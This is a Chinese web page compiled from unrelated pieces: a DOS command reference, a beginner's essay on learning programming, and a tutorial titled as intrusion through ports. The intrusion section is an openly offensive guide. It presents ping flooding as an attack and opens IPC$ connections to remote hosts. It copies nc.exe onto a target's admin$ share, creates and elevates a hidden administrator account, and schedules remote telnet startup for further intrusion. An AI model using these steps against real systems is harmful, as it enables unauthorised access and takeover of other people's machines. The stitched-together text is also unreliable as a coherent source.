:exit -结束 [base_config]

device=c:\dos\emm386.exe ram

dos=high,umb

[cced_config]

device=c:\dos\smartdrv.exe/double_buffer

include=base_config 包含base_config设置

可以根据计算机的在不同情况下的配置要求来选择.

十九、mscdex.exe 提供对光驱进行读写的程序

mscdex/d:drive [/D:drive][/e][/k][/s][/l:letter]

典型:config.sys 中device=c:\cdrom\cdrom.sys /d:mscd000

autoexec.bat中 c:\dos\mscdex /d:mscd000 /l:g

配置了一个光驱,符号为g

参数/d:drive1为光驱身份号,须与config.sys中的符号一致,可有多个

/d:mscd000 /d:mscd001

/e:使用扩展内存装入光驱驱动程序.

/s:使光驱在ms_net或windows是否设置为共享光驱

/V是否在加载时显示内存.

/L:letter 分配给光驱的盘符

/m:number 指定缓冲器的数目

应该注意的是:?如果用smartdrv.exe 加速对光驱的读写能力,应该在autoexec.

bat中将mscdex.?exe 写在smartdrv.exe 之前,smartdrv.exe的使用可大幅提高

对驱动器的读写能力.

二十、msd的使用

使用msd 可以整体检查计算机配置及系统信息

包括:?驱动器参数,计算机cpu参数,内存大小参数,显示器类型,串.并口情况,以

及各个IRQ占用情况,据此可以分析新增设备是否与原来设备有冲突.

同时也可以通过分析内存驻留程序,判断内存中是否有病毒,有则标为"???".

二十一、prompt dos提示符

$q 等于号 $t 当前时间 $d 当前日期 $p 当前驱动器符号

$$ $号提示 $n当前驱动器 $g 大于号 $l小于号 $b 显示"|"管道号

$h 隐去提示符 $E显示"-"号

对于其它文字,则直接显示文本本身prompt ljw,则显示为ljw提示符

prompt 则仅显示当前驱动器号及大于号.

二十二、ramdrive.sys 使用内存当做虚拟盘来使用

应注意,所有数据都存在于内存中,应及时将其存到硬盘中,否则掉电后或者死机

后将丢失全部数据,优点是运行速度快,但不能在windows中使用.

示例:config.sys: device=c:\dos\ramdrive.sys /size[/e|a]

size为以k为单位的字节数,即建立的虚拟盘的大小.

/e或/a 都是使用扩展内存来建立虚拟盘,?加参数的前提是必须先加载内存管理

器himem.sys及emm386.exe.

二十三、subst 将一个驱动器与一个子目录联接

如:将对A:\l1\l2 子目录的请求映射为S盘,则输入

subst s: a:\l1\l2 即可

这样使用dir s:?等命令则显示的是a:\l1\l2子目录下的内容,其它copy del 一样

可以用subst s: d 来取消这种映射.

可以用subst 来显示各种联接情况

注意:?可以采用subst a: c:a 来建立一个对于A的读写盘.对于某些安装软件

来说,?必须使用A盘来安装,就可以使用先将所要安装的软件全部拷贝到C:a子

目录中,然后输入subst a: c:a,再转到A:,就可以进行软件的安装了.

二十四、mem /c /m /p /d 常规内存显示程序

/c显示所有内存驻留程序的占用情况,分为conventional常规内存和uppermemory

高端内存占用,并显示总的占用情况(常规 高端 保留 扩展内存)

/p分页显示,页间暂停

/m后加模块名 如:/m msdos 显示dos系统内存的占用.

/d对常规 高端 保留 扩展内存加以详细例表说明

通过分析,可以看出内存占用是否合理,以及各种程序是否正常加载,从而在此基

础上使用内存优化工具memmaker进行各种管理,同时又可以分析出一些程序死机

的原因,若有的地方显示"???",则可以断定内存中有病毒的存在,有利于发现及消灭

二十五、各种管道工具的使用" "

将各种命令造成的输出或所需要的输入重新定向

如:dir *.bat /bp 可以将dir *.bat 例出的文件名输出到p文件中.

time

p.bat

p文件中仅存在一个回车符,则可以将时间追加进p.bat文件中

" " 是将命令产生的输出重新定向,比如到文件或打印机中.

产生的内容将追加进文件中,则将原文件内容覆盖.

" " 是将命令所需要输入的内容重新定向.

如:time

需要说明的是 "prn "为打印机, "null"为空设备

con 为显示器

type p.batprn 可将p.bat打印出来.

copy null p 可将p文件删除掉

copy con p 可以在屏幕上编辑p文件,F6可以存盘退出

type ppp 完成p文件到pp 的复制

type p|more 可在屏满时暂停显示

二十六、move 命令

move [y/-y] filename1 filename2

将文件1移动到文件2处

如:move c:\dos\*.* c:\cced

将dos子目录下的所有文件全部移动到cced 子目录下

/y|-y参数在目标目录不存在需要创建时,是否出现提示

可以使用该命令修改子目录名称,如 move dos cced

将dos目录名改为cced

二十七、append 指定一些特殊数据文件的存放位置,如user.dat pe2.pro等一些非*.

exe *.com *.bat 文件

格式:append [:]终止以前存在的指定目录 append 显示指定情况

append [path] append c:\user 等

二十八、call 在一个批处理命令中调用另外一个批处理文件

(1)不终止现有文件的运行,执行完掉用程序后立即返回.

(2)被调用批处理命令必须以bat 为扩展名

(3)调用批处理文件时,可以加上参数(%1-%9)以及环境变量如%baud%

(4)不能使用管道工具及重定向工具

二十九、device devicehigh loadhigh

device 将指定的设备驱动程序装入内存中

devicehigh将指定的设备驱动程序装入高端内存中

loadhigh 将指定的设备驱动程序装入高端内存中

三十、defrag 优化磁盘

legend(传奇) optimize(优化) elapse(逝去) fragment(碎片)

该命令执行对指定的盘进行优化处理(包括检查文件分配表,各文件状态,纠正错

误),在执行时,可按照文件名大小,时间,扩展名对文件进行排序.

一、dir

在DOS5.0以前，dir只有两个参数/p,/w。

dir/a：可以看当前目录下所有的文件，包括隐藏、系统、只读文件。

dir/s：可以看当前目录下的文件，包括子目录中的文件。

但是，用dir/a/s虽然可以看到当前目录下的隐藏目录，但不能看隐藏目录下的文件。

二、xcopy

/e：如果某个子目录为空目录时也拷贝。

/s：只拷贝非空子目录

三、erase=del

四、fc

在修改游戏时用的最多。

五、format

/t:tracks 这个参数是和/n配套使用的。它标明要将软盘格式化为tracks个磁道/面。如果想将软盘的容量超过1.44M，就要用/t和/n。/t:80/n:18为1.44M。

/1：只格式化一面（为以前的单面软盘兼容）

/4：格式化成低密盘。

六：ramdrive.sys

/e和/a一个用的是EMS，一个用的是XMS。

我想学习编程，但不知道从哪入手，基础也为零，求大神给点建议，推荐基本书籍方法

别人写的一篇关于初学电脑的心得文章，可以给你一些参考。

零基础如何学习编程

心得笔记

自学编程2年来，加过n多群，泡过n多论坛，接触过心怀激情的编程新人，遇到过沉着冷静的技术大牛……编程，吸引了一批又一批的热血青年，或许是为了理想，或许是心中的爱好，不断有新人的加入，也不断有人从编程中退出。编程的入场入口只有一个，出场的出口却很多。自学编程的新人，有很大一部分卡在了入门上，对此，我想写下对编程入门的一些拙见，权当抛砖引玉，或对或错，还望同学们自己鉴定。

1.零基础，打算自学编程，应具备哪些的知识？

答:

对于入门阶段，对知识水平的要求并不算高，或者说很低，大家都应该听说过xxx小学生编程如何如何这般这般怎么样之类的话题，这里，我们不谈长期发展，只谈如何入门。首先，我觉得你应该具备计算机的基本操作能力，如果说你连新建一个文件夹或者说从网上下载资料都不会，那么你应该先买本《windows xx从入门到提高》看，然后再考虑编程这件事，如果你觉得对计算机的基本操作已经熟练后，请继续向下看。

2.学编程应具备哪些条件？

答:

第一：硬件保证，首先你应该具备一台电脑，不管是笔记本还是台式，也不管性能高低，性能对前期学习编程几乎无任何影响，就入门来看，操作系统还是首选windwos。

第二：有xx语言的入门本书，纸做的，具体xx语言是哪种语言，后面我们再讨论这个问题。虽说现在铺天盖地的都是电子书了(保留这句话的确定性)，到处是扫描版，还高清呢，但我还是推荐看纸做的书，好处有两点，其一是便于携带，可以随时翻阅；其二是避免眼疲劳，我不信你一直晚盯着显示器看电子书眼睛不会酸；还有一点，尊重图书作者的版权。

第三：时间保证，如果你每天都有一大堆事等着你去处理，先去处理那些事吧，处理完后把剩余时间划出一整块的给编程，进行随时可能被打断的学习，在编程这块，我不认为这是在用功学习，零碎时间去背单词？应该是个不错的选择。

3.你确定要学编程？

答:

这个问题看起来有点多余，但为什么要提出这个问题？要知道，编程不是一朝一夕的事，如果你只是一时的冲动，或者仅仅是要完成心目中的某个小工具，并没有长期写程序的打算，这样的话，编程不学也罢，毕竟编程从入门到能独立写软件会有很长的一段路要走，中途一旦放弃就前功尽弃，并且已经浪费了你大把的宝贵时间，实在是得不偿失。不过，你尽管吐槽说是这是你的业余爱好，有个爱好也挺好，那么，继续往下看吧。

4.如何才能入门？

答:

到底怎样才能入门？其实，只要你有毅力，慢慢折腾个一年半载，肯定能入门，但写这篇文章的目的就是为了把这个周期缩短些，不是吗？所以，下面我就以个人的观点来谈谈怎么才能更快的入门，这里先笼统的介绍下，对于每点，后面单独介绍。

–1.去了解计算机的基本组成，计算机的发展史和编程的发展史，看起来和编程没什么关系，潜在的影响还是十分大的;

–2.选择一门简单的语言作为入门语严;

–3.学会使用搜索引擎;

–4.知道如何看书;

–5.要”像”个高手;

–6.应具备的学习态度;

4.1:了解这些历史的意义:

了解一些编程的实质远比知道如何编程更有意义，不要在编程是怎么回事的情况下就去学习编程，这样对你的学习是十分不利的，作为一个编程爱好者，知道计算机的工作原理，这应该是一件再正常不过的事，你难道不想去知道吗？

4.2.选择入门语言:

这个问题在入门阶段一直是争议十分大的问题，n多语言，n多推荐，到最后搞到新手一会听说这种语言适合新手，于是学习这种语言，一会又有人说xx语言是垃圾、弱爆了，学了也没用，之类的话，开始推荐你xxx语言，于是新手们又开始学习这种语言，搞到最后，什么语言都没搞懂，时间大把大把的流失，热情消耗殆尽。要解决这个问题，首先要明白一个根本问题，怎样挑选适合入门的编程语言？我推荐从难度这个角度来考虑，这门语言必须简单易学，有趣，而且要有一定的热度，有热度才能有更多的人一起交流讨论，翻开编程语言列表，发现有100多种编程语言，而且这个数还是在不断增加的，这里我们一起来看下2012年5月份的编程语言排行榜，能进排行榜前20的，首先在热度上都已经差不多了，现在要做的就是从排行榜里找到一门简单有趣的语言。

2012年5月编程语言排行

对于上述的语言，这里不可能一个个详细介绍，篇幅有限，最主要的是，这些语言的介绍只需要你打开搜索引擎(百度？谷歌？还是其他？随便你喽。)，输入这项语言的名字，搜索一下，就能看到他的详细介绍了，如果你说你不会搜索，那么，请返回第一个问题，一般来说，如果你去论坛提问什么语言适合入门，得到最多的结果应该是C语言，没错，就是上述排行榜排行第一的那个，强烈推荐C语言入门的同学如果看到这篇文章可能会很想吐槽，因为这里笔者要推荐的不是C语言，笔者认为，Python语言对于零基础更适合入门，很多人推荐C语言原因我猜测可能有两个，一是全国大部分的高校的编程课C语言是都有开设的，也可以说是学习过C语言的用户基数大，第二是C语言自身的强大，可谓是口碑好。基数大+口碑好，足以让你得到的结果是C语言居多。

笔者是Python语言入门，接触编程时完全是零基础，现在接触了C、接触了C++、JAVA，Visual Basic 6,回味了下，如果让我再次选择一门入门语言，我绝对不会后悔选择Python，建议每位同学去百科搜索下Python，看下是否真的简单易学，并且强大，如果你想快速写GUI(图形用户界面 )的软件，Python有一大把图形库供你选择，不像C语言，半年下来，还是停留在黑框框里，大大打击了初学者对软件开发的信心，对于写游戏，Python也是绝对不会让你失望的，pygame模块为你提供简单快速的游戏开发，Pygame是 跨平台 Python模块，专为电子游戏设计。 包含图像、声音。 虽说没法和Direct X相比，但对于新手来说，独立写个2D游戏不也是一件很愉快的事吗？

对于Python，笔者就不再详细介绍了，只是推荐，具体选择什么语言，决定权还是在你手里，无论是C语言也好，Python语言也罢，下面所介绍的学习方法都是适用的。

4.3.学会使用搜索引擎:

之所以推荐使用搜索引擎的目的是培养更好的独立解决问题的能力，通常来说，刚学编程时，可能我们有时候连使用什么软件作为编程环境都不知，或者下载安装了编程环境却不知如何使用，这时搜索就派上大用场了，跑到搜索引擎里输入”xxx 使用教程”，结果就出来了，简直太方便了。

而且，新人都喜欢加很多xx语言的编程群，而且大都是挑人多的加，一旦编程中出现了一点小错误，就立马到群里提问，这是一个很不好的习惯，假如说群里有人在线，为你解决了这个问题，那么你独立解决问题的能力就降低了一分，假如没人在线，你就可能面临着等待，或者把问题放这，不去管它，这样积累的后果你是知道的，最好的方式就是动用搜索引擎，不需要等待，还可以锻炼独立解决问题的能力，何乐而不为？还有一点，许多新人反应说许多知识搜索不到，我很负责任的说，不是搜索不到，是你不会使用搜索引擎，至少我现在在编程上还没有遇到过搜索不到某个知识点的情况，对于搜索的使用技巧，如果你还不知道，去搜索吧。

总之，有问题，就要去搜索。

顺便说句，加很多群不是一个好习惯，群里并不能让你学到太多知识，他的功能在于能找到一群有共同话题的朋友，真实的情况是大多时间都在时一起闲扯一些与编程无关的话题。

4.4.知道如何看书:

无论是电子书还是纸做的书，都会有页码(txt？当我什么都没说过)，要做好学习的计划，每天看多少页？这倒不是，不要忽略目录这个好东西，先认真看下一本书的前言和目录，了解本书的知识点的分布，这样有利于更快的融入这本书，然后按章节作学习计划，按页来你就不怕把一个知识点切成两半？笔者看书时第一遍喜欢浏览，也就是走马观花的看，花一上午或一下午从头把书悠闲的翻一遍，不求记住知识点，只求记住几个名词，知道书里面有这些东西，给大脑一个模糊的印象。

从第二遍开始认真看，不放过任何一句话，碰到不明白的名词，没关系，搜索解决。看书要及时复习，推荐“看五退三”(笔者自造的词)式看书，也就是说一次看五页，下次看书式再向后退回三页，这样可以起到很好的复习效果，遇到确实看不懂的地方，也不要停留太长时间，很有可能当你继续向下看，再返回这个问题时，发现你已经可以理解了，这种情况很常见。

代码是一定要亲手调试一遍的，要亲手输入一个字符一个字符的输入，不是机械的复制粘贴，复制粘贴的后果就是你自己感觉学的差不多都理解了，然后到你上机亲手写代码时，要么写不出来，要么一运行报错一堆。所以，书上的每段代码都要亲自调试(再次强调：学编程，就必须得要亲手实践，不要想着走捷径，捷径在哪？有捷径我早走了。)

对于代码报错，作为新手，正常的不能再正常的一件事，这里说两点，注意单词的拼写错误和符号是不是在英文状态下输入的;还有就是坚持自己找出代码错误，坚持，代码报错不求人，自己解决。

4.5.要”像”个高手:

在写这几个字的时候我还是在担心等等这句话会不会造成误解，像个高手，并不是让你打肿脸充胖子，而是一种激励自己学习的一种方法，具体就是，要多帮助其他新人，帮助别人可以提高自己的话就不说了，在论坛或群，你可能遇到新人们各种各样的问题，要么代码报错自己检查不出错误，或者想解决某个问题却找不到方法等等，诸如此类的问题，如果你能解决，一定要记得解答一下，不断这样下去，你在你的圈子里说话就会越来越有分量，别人也就更信任你的能力，正式由于这种信任，也渐渐使你背负上了一种高手的责任感，别人请教问题我能不会？即使出于虚荣心，我们也得不断学习，维护我们在别人心中高手的形象，这样也就达到了刺激自己不断学习的目的。

但是需要记住几点；

一：不要误导其他新人，自己不确定的知识不要回答;

二：对于那些弱爆了的问题，你已经回答过很多遍了，如果别人没指明让你回答，那么就把这个机会让给别人吧，确实没必要再在这些弱爆了的问题上浪费时间;

三：每天冒泡回答问题的时间不要过长，否则会影响到你的正常学习进度;

四：发现自己错了就要勇敢承认，等高手出来吐槽时只会让你更难堪，不要以为新手好忽悠，当新手有天成为高手时，他会记得当初是谁在挖坑让他跳;

(悄悄告诉你：假如有人问题你确实不知道的知识，而你觉得这个问题你能解决的时候怎么办？咳咳、有点事，离开一下，一会再回答你。这时候，不用说了，抓紧时间去翻书、上网搜索，高手的形象不能丢哇！)

4.6.需要具备的态度:

–①:恒心？专注？相信自己？每当看到有人告诉新人学习方法讲要有恒心，要学会坚持不懈之类的我就想吐槽，做什么事不需要这样的态度？编程，要有激情，要有想象力，不局限于书本上的知识点，大胆实验，尝试把已经学习的话知识点组合成新的知识点，就拿C语言的链表来说，几乎所有的C语言入门书都把链表作为单独的一个知识点，如果说所有的书都取消链表这个知识点，当你学完指针、结构体、再告诉你malloc函数的用法，你能想到可以组合成链表这有趣的知识点么？

–②:学会稳定自己的情绪，当在论坛或群意见不合，或者有人无理取闹时，不要动怒，立即潜水，因为没必要动怒，谁对谁非，旁观者自然能看到，有个词，叫冷暴力。

人往高出走，尽量和高手混在一起，尽管在高手眼里你可能会仅仅是个菜鸟，但这样做确实有利于你提高自己，有压力才有动力。需要叮嘱一点：永远不要指望技术大牛经常出现在xx群，高手在哪里？高手多半都在写程序，会有时间泡群？

笔者的阅历，暂时只能提出这么多建议了，不管建议是好是歹，也算是表达出了心中一直想对新同学们想说的话，所有准备踏入编程这片天空的同学，祝你们学习愉快，早日实现心中的那份梦想。

最后，引用《黑客防线》上的一句话，作为本篇文章的结束语，这句话我一直记在心中：程序员是值得尊敬的，程序员的双手是魔术师的双手，他们把枯燥无味的代码变成了丰富多彩的软件。

Mr.Wid

2012.6.1

怎么通过端口进行入侵？

一、ping 它是用来检查网络是否通畅或者网络连接速度的命令。作为一个生活在网络上的管理员或者黑客来说，ping命令是第一个必须掌握的DOS命令，它所利用的原理是这样的：网络上的机器都有唯一确定的IP地址，我们给目标IP地址发送一个数据包，对方就要返回一个同样大小的数据包，根据返回的数据包我们可以确定目标主机的存在，可以初步判断目标主机的操作系统等。下面就来看看它的一些常用的操作。先看看帮助吧，在DOS窗口中键入：ping /? 回车。所示的帮助画面。在此，我们只掌握一些基本的很有用的参数就可以了（下同）。 -t 表示将不间断向目标IP发送数据包，直到我们强迫其停止。试想，如果你使用100M的宽带接入，而目标IP是56K的小猫，那么要不了多久，目标IP就因为承受不了这么多的数据而掉线，呵呵，一次攻击就这么简单的实现了。 -l 定义发送数据包的大小，默认为32字节，我们利用它可以最大定义到65500字节。结合上面介绍的-t参数一起使用，会有更好的效果哦。 -n 定义向目标IP发送数据包的次数，默认为3次。如果网络速度比较慢，3次对我们来说也浪费了不少时间，因为现在我们的目的仅仅是判断目标IP是否存在，那么就定义为一次吧。 说明一下，如果-t 参数和 -n参数一起使用，ping命令就以放在后面的参数为标准，比如"ping IP -t -n 3"，虽然使用了-t参数，但并不是一直ping下去，而是只ping 3次。另外，ping命令不一定非得ping IP，也可以直接ping主机域名，这样就可以得到主机的 IP。 下面我们举个例子来说明一下具体用法。 这里time=2表示从发出数据包到接受到返回数据包所用的时间是2秒，从这里可以判断网络连接速度的大小 。从TTL的返回值可以初步判断被 ping主机的操作系统，之所以说"初步判断"是因为这个值是可以修改的。这里TTL=32表示操作系统可能是win98。 （小知识：如果TTL=128，则表示目标主机可能是Win2000；如果TTL=250，则目标主机可能是Unix） 至于利用ping命令可以快速查找局域网故障，可以快速搜索最快的QQ服务器，可以对别人进行ping攻击……这些就靠大家自己发挥了。 二、nbtstat 该命令使用TCP/IP上的NetBIOS显示协议统计和当前TCP/IP连接，使用这个命令你可以得到远程主机的NETBIOS信息，比如用户名、所属的工作组、网卡的MAC地址等。在此我们就有必要了解几个基本的参数。 -a 使用这个参数，只要你知道了远程主机的机器名称，就可以得到它的NETBIOS信息（下同）。 -A 这个参数也可以得到远程主机的NETBIOS信息，但需要你知道它的IP。 -n 列出本地机器的NETBIOS信息。 当得到了对方的IP或者机器名的时候，就可以使用nbtstat命令来进一步得到对方的信息了，这又增加了我们入侵的保险系数。 三、netstat 这是一个用来查看网络状态的命令，操作简便功能强大。 -a 查看本地机器的所有开放端口，可以有效发现和预防木马，可以知道机器所开的服务等信息。 这里可以看出本地机器开放有FTP服务、Telnet服务、邮件服务、WEB服务等。用法：netstat -a IP。 -r 列出当前的路由信息，告诉我们本地机器的网关、子网掩码等信息。用法：netstat -r IP。

四、tracert 跟踪路由信息，使用此命令可以查出数据从本地机器传输到目标主机所经过的所有途径，这对我们了解网络布局和结构很有帮助。 这里说明数据从本地机器传输到192.168.0.1的机器上，中间没有经过任何中转，说明这两台机器是在同一段局域网内。用法：tracert IP。 2

必须掌握的八个cmd命令（自己的收藏）

五、net 这个命令是网络命令中最重要的一个，必须透彻掌握它的每一个子命令的用法，因为它的功能实在是太强大了，这简直就是 微软为我们提供的最好的入侵工具。首先让我们来看一看它都有那些子命令，键入net /?回车。 在这里，我们重点掌握几个入侵常用的子命令。 net view 使用此命令查看远程主机的所以共享资源。命令格式为net view IP。 net use 把远程主机的某个共享资源影射为本地盘符，图形界面方便使用，呵呵。命令格式为net use x: IPsharename。上面一个表示把 192.168.0.5IP的共享名为magic的目录影射为本地的Z盘。下面表示和192.168.0.7建立IPC$连接（net use IP IPC$"password" /user:"name"）。 建立了IPC$连接后，呵呵，就可以上传文件了：copy nc.exe 92.168.0.7admin$，表示把本地目录下的nc.exe传到远程主机，结合后面要介绍到的其他DOS命令就可以实现入侵了。 net start 使用它来启动远程主机上的服务。当你和远程主机建立连接后，如果发现它的什么服务没有启动，而你又想利用此服务怎么办？就使用这个命令来启动吧。用法：net start servername，成功启动了telnet服务。 net stop 入侵后发现远程主机的某个服务碍手碍脚，怎么办？利用这个命令停掉就ok了，用法和net start同。 net user 查看和帐户有关的情况，包括新建帐户、删除帐户、查看特定帐户、激活帐户、帐户禁用等。这对我们入侵是很有利的，最重要的，它为我们克隆帐户提供了前提。键入不带参数的net user，可以查看所有用户，包括已经禁用的。下面分别讲解。 1，net user abcd 1234 /add，新建一个用户名为abcd，密码为1234的帐户，默认为user组成员。 2，net user abcd /del，将用户名为abcd的用户删除。 3，net user abcd /active:no，将用户名为abcd的用户禁用。 4，net user abcd /active:yes，激活用户名为abcd的用户。 5，net user abcd，查看用户名为abcd的用户的情况。 net localgroup 查看所有和用户组有关的信息和进行相关操作。键入不带参数的net localgroup即列出当前所有的用户组。在入侵过程中，我们一般利用它来把某个帐户提升为administrator组帐户，这样我们利用这个帐户就可以控制整个远程主机了。用法： net localgroup groupname username /add。 现在我们把刚才新建的用户abcd加到administrator组里去了，这时候abcd用户已经是超级管理员了，呵呵，你可以再使用 net user abcd来查看他的状态。但这样太明显了，网管一看用户情况就能漏出破绽，所以这种方法只能对付菜鸟网管，但我们还得知道。现在的手段都是利用其他工具和手段克隆一个让网管看不出来的超级管理员，这是后话。有兴趣的朋友可以参照《黑客防线》第30期上的《由浅入深解析隆帐户》一文。 net time 这个命令可以查看远程主机当前的时间。如果你的目标只是进入到远程主机里面，那么也许就用不到这个命令了。但简单的入侵成功了，难道只是看看吗？我们需要进一步渗透。这就连远程主机当前的时间都需要知道，因为利用时间和其他手段（后面会讲到）可以实现某个命令和程序的定时启动，为我们进一步入侵打好基础。用法：net time IP。 3 必须掌握的八个cmd命令（自己的收藏）

六、at 这个命令的作用是安排在特定日期或时间执行某个特定的命令和程序（知道net time的重要了吧？）。当我们知道了远程主机的当前时间，就可以利用此命令让其在以后的某个时间（比如2分钟后）执行某个程序和命令。用法：at time command computer。 表示在6点55分时，让名称为a-01的计算机开启telnet服务（这里net start telnet即为开启telnet服务的命令）。 七、ftp 大家对这个命令应该比较熟悉了吧？网络上开放的ftp的主机很多，其中很大一部分是匿名的，也就是说任何人都可以登陆上去。现在如果你扫到了一台开放 ftp服务的主机（一般都是开了21端口的机器），如果你还不会使用ftp的命令怎么办？下面就给出基本的ftp命令使用方法。 首先在命令行键入ftp回车，出现ftp的提示符，这时候可以键入"help"来查看帮助（任何DOS命令都可以使用此方法查看其帮助)。 大家可能看到了，这么多命令该怎么用？其实也用不到那么多，掌握几个基本的就够了。 首先是登陆过程，这就要用到open了，直接在ftp的提示符下输入"open 主机IP ftp端口"回车即可，一般端口默认都是21，可以不写。接着就是输入合法的用户名和密码进行登陆了，这里以匿名ftp为例介绍。 用户名和密码都是ftp，密码是不显示的。当提示**** logged in时，就说明登陆成功。这里因为是匿名登陆，所以用户显示为Anonymous。 接下来就要介绍具体命令的使用方法了。 dir 跟DOS命令一样，用于查看服务器的文件，直接敲上dir回车，就可以看到此ftp服务器上的文件。 cd 进入某个文件夹。 get 下载文件到本地机器。 put 上传文件到远程服务器。这就要看远程ftp服务器是否给了你可写的权限了，如果可以，呵呵，该怎么 利用就不多说了，大家就自由发挥去吧。 delete 删除远程ftp服务器上的文件。这也必须保证你有可写的权限。 bye 退出当前连接。 quit 同上。 八、telnet 功能强大的远程登陆命令，几乎所有的入侵者都喜欢用它，屡试不爽。为什么？它操作简单，如同使用自己的机器一样，只要你熟悉DOS命令，在成功以 administrator身份连接了远程机器后，就可以用它来干你想干的一切了。下面介绍一下使用方法，首先键入telnet回车，再键入help查看其帮助信息。 然后在提示符下键入open IP回车，这时就出现了登陆窗口，让你输入合法的用户名和密码，这里输入任何密码都是不显示的。 当输入用户名和密码都正确后就成功建立了telnet连接，这时候你就在远程主机上具有了和此用户一样的权限，利用DOS命令就可以实现你想干的事情了。